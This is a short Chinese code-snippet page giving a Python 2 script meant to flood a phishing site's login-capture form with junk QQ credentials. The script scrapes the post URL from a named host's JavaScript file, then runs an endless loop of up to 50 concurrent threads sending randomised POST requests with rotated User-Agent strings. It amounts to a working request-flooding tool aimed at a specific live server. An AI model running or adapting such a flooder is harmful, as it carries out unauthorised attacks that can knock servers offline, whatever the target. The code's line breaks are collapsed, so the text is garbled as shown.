向某钓鱼网站数据库注入大量垃圾信息(多线程),钓鱼多线程,#!/usr/bin/e


#!/usr/bin/env pythonimport urllibimport urllib2import randomimport stringimport threadingimport timeimport reorigin_url = "http://images.smoka.com.cn/pnrn.js?hs"#post_url = "http://m.shandashi.com.cn/index.php?qNyrDU2Qf"referer_url = ""thread_num = 0lock = threading.Lock()ua_list = [    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36",    "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)",    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)",    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)",    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0"]def get_post_url():    re_http = re.compile(r"\"(http://.+?)\"")    req = urllib2.Request(origin_url, headers=gen_headers())    response = urllib2.urlopen(req)    the_page = response.read()    return re.search(re_http, the_page).group(1) + "qNyrDU2Qf"def gen_password(length):    chars=string.ascii_letters+string.digits    return ''.join([random.choice(chars) for i in range(length)])def gen_post_param():    qq_num = random.randint(11111111,9999999999)    qq_pass = gen_password(random.randrange(8,13))    print "QQ_num: " + str(qq_num)    print "QQ_pass: " + qq_pass    return {        "LYnj9ayHWqpdCy": None,        "wobBwZXimLLqoRu": None,        "x": 52,        "y": 17,        "OvQ3XtQjH6XMnvo2t": 1,        "SeI0EHa3Owj4QmsDjW": qq_num,        "ZkI69riJ4OyK9LpHKtO": qq_pass    }def gen_post_data():    return urllib.urlencode(gen_post_param())def gen_headers():    ua = random.choice(ua_list)    print "UA: " + ua    return {        "User-Agent": ua,        "Referer": referer_url    }def do_request():    global thread_num    with lock:        thread_num += 1    try:        req = urllib2.Request(post_url, gen_post_data(), gen_headers())        response = urllib2.urlopen(req, timeout=5)        code = response.getcode()        print "Return Code: " + str(code) + "\n"    finally:        with lock:            thread_num -= 1post_url = get_post_url()print "post_url=" + post_url + "\n"threads = []while True:    if thread_num <= 50:        t = threading.Thread(target=do_request)        t.start()    else:       time.sleep(0.01)

评论关闭